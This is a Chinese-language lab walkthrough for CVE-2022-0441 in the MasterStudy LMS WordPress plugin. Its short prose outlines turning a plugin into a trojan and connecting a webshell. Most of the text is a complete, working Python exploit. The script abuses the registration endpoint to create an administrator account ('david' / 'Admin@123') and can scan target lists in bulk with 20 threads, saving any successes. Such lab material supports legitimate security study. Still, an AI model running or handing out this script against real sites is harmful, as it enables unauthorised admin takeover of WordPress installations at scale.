春秋云境CVE-2022-0441（保姆级教学）

1.阅读靶场介绍

这里我们可以看到的就是由于插件引发的漏洞

具体思路就是编写脚本插件，然后改为木马并且启用

最后完成中国蚁剑板块的websehll

带着这个思路我们开启征程吧

2.启动靶场

我们会得到如下页面

这里博主也有做额外的页面测试，没有得到一个有效的结果

这里我们直接拼接/admin去找到后台

相信很多彦祖和亦非们曾今都会卡在这里

无论是弱口令/空口令/还是暴力破解都得不到

有效的账号/密码去进入后台

这里博主是跑一个脚本去登入到后台的

各位可以参考参考

python 复制代码

from cmath import exp
from urllib3.exceptions import InsecureRequestWarning
import concurrent.futures
import requests, re, argparse


def masterstudy(_target, _timeout=5):
    _sessionget = requests.Session()
    _headers = {
        'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36'
    }
    def save_result(_result):
        _saved = open('RESULT-WPMS.txt', 'a+')
        _saved.write(_result + '\n')
 
    try:
        _validationPlugins = _sessionget.get(url=_target, headers=_headers, allow_redirects=True, verify=False, timeout=_timeout)
        if 'stm_lms_register' in _validationPlugins.text:
            _getnonce = re.compile('stm_lms_register":"(.*?)(?:")')
            _findnonce = _getnonce.findall(_validationPlugins.text)
            print(_findnonce)
            _data = '{"user_login":"david","user_email":"david@domainexample.com","user_password":"Admin@123","user_password_re":"Admin@123","become_instructor":"","privacy_policy":true,"degree":"","expertize":"","auditory":"","additional":[],"additional_instructors":[],"profile_default_fields_for_register":{"wp_capabilities":{"value":{"administrator":1}}}}'
            _postExploit = _sessionget.post(url=_target + '/wp-admin/admin-ajax.php?action=stm_lms_register&nonce=' + _findnonce[0], headers=_headers, allow_redirects=True, data=_data, timeout=_timeout)
 
            if '"status":"success"' in _postExploit.text and '"message":"' in _postExploit.text:
                print('[-] ' + _target + 'wp-admin/ => Success')
                _dataresult = _target + 'wp-admin/ | david | Admin@123'
                save_result(_dataresult)
            else:
                print('[*] ' + _target + ' => Failed, try manual')
                print(_postExploit.text)
                save_result(_target)
        else:
            print('[+] ' + _target + ' Not found!')
    except:
        print('[%] ' + _target + ' Requests failed')

def main(_choose, _target):
    if _choose == 1:
        masterstudy(_target)

    elif _choose == 2:
        with concurrent.futures.ThreadPoolExecutor(max_workers=20) as executor:
            _ur_list = open(_target, 'r').read().split()
            _futures = []

            for _url in _ur_list:
                _futures.append(executor.submit(masterstudy, _target=_url))

            for _future in concurrent.futures.as_completed(_futures):
                if(_future.result() is not None):
                    print(_future.result())
    else:
        exit()

## SSL Bypass
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

## Setup args
_parser = argparse.ArgumentParser(description='CVE-2022-0441 [ WordPress Plugin MasterStudy LMS 2.7.5 - Unauthenticated Admin Account Creation ]')
_parser.add_argument('-t', metavar='example.com', type=str, help='Single target')
_parser.add_argument('-l', metavar='target.txt', type=str, help='Multiple target')
_args = _parser.parse_args()

## Variable args
_singleTarget = _args.t
_multiTarget  = _args.l

if __name__ == '__main__':
    if not _singleTarget == None:
        _choose = 1
        main(_choose, _singleTarget)
    elif not _multiTarget == None:
        _choose = 2
        main(_choose, _multiTarget)
    else:
        print('MasterStudy.py --help for using tools')